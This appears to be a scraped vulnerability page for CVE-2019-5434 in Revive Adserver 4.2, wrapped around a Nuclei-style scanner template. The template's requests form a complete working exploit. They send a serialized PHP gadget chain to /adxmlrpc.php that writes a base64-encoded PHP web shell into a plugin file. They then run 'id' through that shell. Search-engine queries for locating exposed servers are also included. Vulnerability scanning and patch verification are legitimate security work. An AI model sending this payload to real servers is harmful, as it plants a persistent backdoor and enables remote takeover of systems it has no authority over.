CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
96.9%
Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize() call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g. serialize-related PHP vulnerabilities or PHP object injection. It is possible, although unconfirmed, that the vulnerability has been used by some attackers in order to gain access to some Revive Adserver instances and deliver malware through them to third-party websites.
id: CVE-2019-5434
info:
name: Revive Adserver 4.2 - Remote Code Execution
author: omarjezi
severity: critical
description: |
Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize() call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g. serialize-related PHP vulnerabilities or PHP object injection. It is possible, although unconfirmed, that the vulnerability has been used by some attackers in order to gain access to some Revive Adserver instances and deliver malware through them to third-party websites.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: |
Apply the latest security patches or upgrade to a newer version of Revive Adserver.
reference:
- https://packetstormsecurity.com/files/155559/Revive-Adserver-4.2-Remote-Code-Execution.html
- https://www.exploit-db.com/exploits/47739
- https://www.revive-adserver.com/security/revive-sa-2019-001/
- https://nvd.nist.gov/vuln/detail/CVE-2019-5434
- http://packetstormsecurity.com/files/155559/Revive-Adserver-4.2-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-5434
cwe-id: CWE-502
epss-score: 0.3278
epss-percentile: 0.96917
cpe: cpe:2.3:a:revive-sas:revive_adserver:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: revive-sas
product: revive_adserver
shodan-query:
- http.favicon.hash:106844876
- http.title:"revive adserver"
fofa-query:
- icon_hash=106844876
- title="revive adserver"
google-query: intitle:"revive adserver"
tags: cve,cve2019,edb,packetstorm,revive,adserver,rce,revive-sas
http:
- raw:
- |
POST /adxmlrpc.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
<?xml version="1.0" encoding="ISO-8859-1"?> <methodCall> <methodName>openads.spc</methodName> <params> <param> <value> <struct> <member> <name>remote_addr</name> <value>8.8.8.8</value> </member> <member> <name>cookies</name> <value> <array> </array> </value> </member> </struct> </value> </param> <param><value><string>a:1:{S:4:"what";O:11:"Pdp\Uri\Url":1:{S:17:"\00Pdp\5CUri\5CUrl\00host";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:55:"plugins/3rdPartyServers/ox3rdPartyServers/max.class.php";S:13:"\00*\00filesystem";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:66:"x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==";S:13:"\00*\00filesystem";O:29:"League\Flysystem\MountManager":2:{S:14:"\00*\00filesystems";a:1:{S:1:"x";O:27:"League\Flysystem\Filesystem":2:{S:10:"\00*\00adapter";O:30:"League\Flysystem\Adapter\Local":1:{S:13:"\00*\00pathPrefix";S:0:"";}S:9:"\00*\00config";O:23:"League\Flysystem\Config":1:{S:11:"\00*\00settings";a:1:{S:15:"disable_asserts";b:1;}}}}S:10:"\00*\00plugins";a:1:{S:10:"__toString";O:34:"League\Flysystem\Plugin\ForcedCopy":0:{}}}}}}}</string></value></param> <param><value><string>0</string></value></param> <param><value><string>dsad</string></value></param> <param><value><boolean>1</boolean></value></param> <param><value><boolean>0</boolean></value></param> <param><value><boolean>1</boolean></value></param> </params> </methodCall>
- |
GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header_2
words:
- "text/html"
- type: regex
part: body_2
regex:
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
- type: status
status:
- 200
# digest: 4a0a0047304502207f96397bb65566fde5aae85b907aecc2d52a49ef5cd08c9b1cbc1b38699146c8022100bb9ad9720fd16e526f72be3d0f4a1a804031b3f7d51ff1b06a9fb85b59fa6983:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
96.9%